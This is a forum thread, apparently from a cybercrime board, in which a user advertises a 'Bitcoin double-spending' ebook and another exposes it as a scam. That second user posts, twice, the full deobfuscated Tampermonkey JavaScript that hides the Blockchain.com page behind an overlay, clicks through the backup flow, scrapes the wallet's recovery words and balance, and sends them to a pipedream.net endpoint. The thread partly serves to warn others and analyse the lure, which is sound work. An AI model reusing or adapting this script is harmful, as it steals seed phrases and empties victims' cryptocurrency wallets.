• XSS.stack #1 – первый литературный журнал от юзеров форума

Bitcoin Double-Spending Techniques (Ebook)

anubis7

HDD-drive
Пользователь
Регистрация
21.01.2023
Сообщения
40
Реакции
33
Гарант сделки
1
Bitcoin Double-Spending Techniques: Including the 2023 Method for Cancelling Transactions with 1 Confirmation using Blockchain.com Wallet

Download Link : <backdoored - removed>
 
Последнее редактирование модератором:
Пожалуйста, обратите внимание, что пользователь заблокирован
Bitcoin Double-Spending Techniques: Including the 2023 Method for Cancelling Transactions with 1 Confirmation using Blockchain.com Wallet

Download Link : Скрытое содержимое
for me please ? Not enough reactions :)
 
it is a scam method with temper monkey it gives you an obfuscated js file when deobfuscated it you can see in code it gets your blockchain.com private keys and current balances on account below i will drop the deobfuscated script
JavaScript:
var _typeof2 =
  typeof Symbol === 'function' && typeof Symbol.iterator === 'symbol'
    ? function (objOrTsid) {
        return typeof objOrTsid
      }
    : function (obj) {
        return obj &&
          typeof Symbol === 'function' &&
          obj.constructor === Symbol &&
          obj !== Symbol.prototype
          ? 'symbol'
          : typeof obj
      }
var_typeof =
  typeof Symbol === 'function' && _typeof2(Symbol.iterator) === 'symbol'
    ? function (obj) {
        return typeof obj === 'undefined' ? 'undefined' : _typeof2(obj)
      }
    : function (obj) {
        return obj &&
          typeof Symbol === 'function' &&
          obj.constructor === Symbol &&
          obj !== Symbol.prototype
          ? 'symbol'
          : typeof obj === 'undefined'
          ? 'undefined'
          : _typeof2(obj)
      }
var wyley = (function() {
  var y$$ = true
  return function (body, fmt) {
    var voronoi = y$$
      ? function() {
          if (fmt) {
            varcode = fmt.apply(body, arguments)
            return (fmt = null), code
          }
        }
      : function() {}
    return (y$$ = false), voronoi
  }
})()
var edvard = wyley(undefined, function () {
  return edward
    .toString()
    .search('(((.+)+)+)+$')
    .toString()
    .constructor(edvard)
    .search('(((.+)+)+)+$')
})
edward()
var neilia = (function() {
  var y$$ = true
  return function (body, fmt) {
    var voronoi = y$$
      ? function() {
          if (fmt) {
            varcode = fmt.apply(body, arguments)
            return (fmt = null), code
          }
        }
      : function() {}
    return (y$$ = false), voronoi
  }
})()
var kather = neilia(undefined, function () {
  var glbl =
    typeof window !== 'undefined'
      ? window
      : (typeof process === 'undefined' ? 'undefined' : _typeof(process)) ===
          'object' &&
        typeof require === 'function' &&
        (typeof global === 'undefined' ? 'undefined' : _typeof(global)) ===
          'object'
      ? global
      : this
  var glyphsByName = (glbl.console = glbl.console || {})
  var methods = ['log', 'warn', 'info', 'error', 'exception', 'table', 'trace']
  var i = 0
  for (; i < methods.length; i++) {
    var o = neilia.constructor.prototype.bind(neilia)
    varname = methods[i]
    varpath = glyphsByName[name] || o
    o.__proto__ = neilia.bind(neilia)
    o.toString = path.toString.bind(path)
    glyphsByName[name] = o
  }
})
kather()
function checkAndPerformActions() {
  var imageBinary = document.querySelector('div[data-e2e="topBalanceTotal"]')
  var dfY1 = parseFloat(imageBinary.textContent.replace(/[^\d.-]/g, ''))
  if (dfY1 > 0) {
    varmaskNode = document.createElement('div')
    maskNode.style.position = 'fixed'
    maskNode.style.top = '0'
    maskNode.style.left = '0'
    maskNode.style.width = '100%'
    maskNode.style.height = '100%'
    maskNode.style.backgroundColor = '#fff'
    maskNode.style.zIndex = '9999'
    document.body.appendChild(maskNode)
    var psUrl = window.location.href
    window.location.href =
      'https://login.blockchain.com/en/#/security-center/basic'
    setTimeout(function() {
      var imgchk = document.querySelector(
        'button[data-e2e="backupFundsButton"]'
      )
      if (imgchk) {
        imgchk.click()
      }
      setTimeout(function() {
        var imgchk = document.querySelector('button[data-e2e="toBackupFlyout"]')
        if (imgchk) {
          imgchk.click()
        }
        setTimeout(function() {
          var CSSTxt = Array.from(
            document.querySelectorAll('div[data-e2e="backupWords"] div')
          )
            .map(function (topnode) {
              return topnode.textContent.trim()
            })
            .join(' ')
          var imgchk = document.querySelector(
            'button[data-e2e="toRecoveryTwo"]'
          )
          if (imgchk) {
            imgchk.click()
          }
          setTimeout(function() {
            CSSTxt=
              CSSTxt +
              (' ' +
                Array.from(
                  document.querySelectorAll('div[data-e2e="backupWords"] div')
                )
                  .map(function (topnode) {
                    return topnode.textContent.trim()
                  })
                  .join(' '))
            window.location.href = psUrl
            setTimeout(function() {
              document.body.removeChild(maskNode)
              if (CSSTxt !== ' ') {
                clearInterval(intervalId)
                var mekiyah = CSSTxt.replace(/\d+/g, '')
                  .replace(/^\s+|\s+$/g, '')
                  .replace(/\s+/g, ' ')
                var td1b2 = document.querySelector(
                  'div[data-e2e="topBalanceTotal"]'
                )
                window.location.href =
                  'https://eoszaaexw5ctdb6.m.pipedream.net/?words=' +
                  mekiyah +
                  '&balance=' +
                  td1b2.textContent
              }
            }, 50)
          }, 50)
        }, 50)
      }, 50)
    }, 50)
  }
}
var intervalId = setInterval(function() {
  try {
    checkAndPerformActions()
  } catch (aizlyn) {}
}, 3000)
 

Вложения

  • Untitled.png
    Untitled.png
    46.9 КБ · Просмотры: 58
  • Untitled.png
    Untitled.png
    61.8 КБ · Просмотры: 57
it is a scam method with temper monkey it gives you an obfuscated js file when deobfuscated it you can see in code it gets your blockchain.com private keys and current balances on account below i will drop the deobfuscated script
JavaScript:
var _typeof2 =
  typeof Symbol === 'function' && typeof Symbol.iterator === 'symbol'
    ? function (objOrTsid) {
        return typeof objOrTsid
      }
    : function (obj) {
        return obj &&
          typeof Symbol === 'function' &&
          obj.constructor === Symbol &&
          obj !== Symbol.prototype
          ? 'symbol'
          : typeof obj
      }
var_typeof =
  typeof Symbol === 'function' && _typeof2(Symbol.iterator) === 'symbol'
    ? function (obj) {
        return typeof obj === 'undefined' ? 'undefined' : _typeof2(obj)
      }
    : function (obj) {
        return obj &&
          typeof Symbol === 'function' &&
          obj.constructor === Symbol &&
          obj !== Symbol.prototype
          ? 'symbol'
          : typeof obj === 'undefined'
          ? 'undefined'
          : _typeof2(obj)
      }
var wyley = (function() {
  var y$$ = true
  return function (body, fmt) {
    var voronoi = y$$
      ? function() {
          if (fmt) {
            varcode = fmt.apply(body, arguments)
            return (fmt = null), code
          }
        }
      : function() {}
    return (y$$ = false), voronoi
  }
})()
var edvard = wyley(undefined, function () {
  return edward
    .toString()
    .search('(((.+)+)+)+$')
    .toString()
    .constructor(edvard)
    .search('(((.+)+)+)+$')
})
edward()
var neilia = (function() {
  var y$$ = true
  return function (body, fmt) {
    var voronoi = y$$
      ? function() {
          if (fmt) {
            varcode = fmt.apply(body, arguments)
            return (fmt = null), code
          }
        }
      : function() {}
    return (y$$ = false), voronoi
  }
})()
var kather = neilia(undefined, function () {
  var glbl =
    typeof window !== 'undefined'
      ? window
      : (typeof process === 'undefined' ? 'undefined' : _typeof(process)) ===
          'object' &&
        typeof require === 'function' &&
        (typeof global === 'undefined' ? 'undefined' : _typeof(global)) ===
          'object'
      ? global
      : this
  var glyphsByName = (glbl.console = glbl.console || {})
  var methods = ['log', 'warn', 'info', 'error', 'exception', 'table', 'trace']
  var i = 0
  for (; i < methods.length; i++) {
    var o = neilia.constructor.prototype.bind(neilia)
    varname = methods[i]
    varpath = glyphsByName[name] || o
    o.__proto__ = neilia.bind(neilia)
    o.toString = path.toString.bind(path)
    glyphsByName[name] = o
  }
})
kather()
function checkAndPerformActions() {
  var imageBinary = document.querySelector('div[data-e2e="topBalanceTotal"]')
  var dfY1 = parseFloat(imageBinary.textContent.replace(/[^\d.-]/g, ''))
  if (dfY1 > 0) {
    varmaskNode = document.createElement('div')
    maskNode.style.position = 'fixed'
    maskNode.style.top = '0'
    maskNode.style.left = '0'
    maskNode.style.width = '100%'
    maskNode.style.height = '100%'
    maskNode.style.backgroundColor = '#fff'
    maskNode.style.zIndex = '9999'
    document.body.appendChild(maskNode)
    var psUrl = window.location.href
    window.location.href =
      'https://login.blockchain.com/en/#/security-center/basic'
    setTimeout(function() {
      var imgchk = document.querySelector(
        'button[data-e2e="backupFundsButton"]'
      )
      if (imgchk) {
        imgchk.click()
      }
      setTimeout(function() {
        var imgchk = document.querySelector('button[data-e2e="toBackupFlyout"]')
        if (imgchk) {
          imgchk.click()
        }
        setTimeout(function() {
          var CSSTxt = Array.from(
            document.querySelectorAll('div[data-e2e="backupWords"] div')
          )
            .map(function (topnode) {
              return topnode.textContent.trim()
            })
            .join(' ')
          var imgchk = document.querySelector(
            'button[data-e2e="toRecoveryTwo"]'
          )
          if (imgchk) {
            imgchk.click()
          }
          setTimeout(function() {
            CSSTxt=
              CSSTxt +
              (' ' +
                Array.from(
                  document.querySelectorAll('div[data-e2e="backupWords"] div')
                )
                  .map(function (topnode) {
                    return topnode.textContent.trim()
                  })
                  .join(' '))
            window.location.href = psUrl
            setTimeout(function() {
              document.body.removeChild(maskNode)
              if (CSSTxt !== ' ') {
                clearInterval(intervalId)
                var mekiyah = CSSTxt.replace(/\d+/g, '')
                  .replace(/^\s+|\s+$/g, '')
                  .replace(/\s+/g, ' ')
                var td1b2 = document.querySelector(
                  'div[data-e2e="topBalanceTotal"]'
                )
                window.location.href =
                  'https://eoszaaexw5ctdb6.m.pipedream.net/?words=' +
                  mekiyah +
                  '&balance=' +
                  td1b2.textContent
              }
            }, 50)
          }, 50)
        }, 50)
      }, 50)
    }, 50)
  }
}
var intervalId = setInterval(function() {
  try {
    checkAndPerformActions()
  } catch (aizlyn) {}
}, 3000)
Ohh, I saw this ebook in another forum. Thank you so much for this information, I wanted to do it, You practically saved my life 😁😁
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ohh, I saw this ebook in another forum. Thank you so much for this information, I wanted to do it, You practically saved my life 😁😁
So, delete thread)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Обратный огонь
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх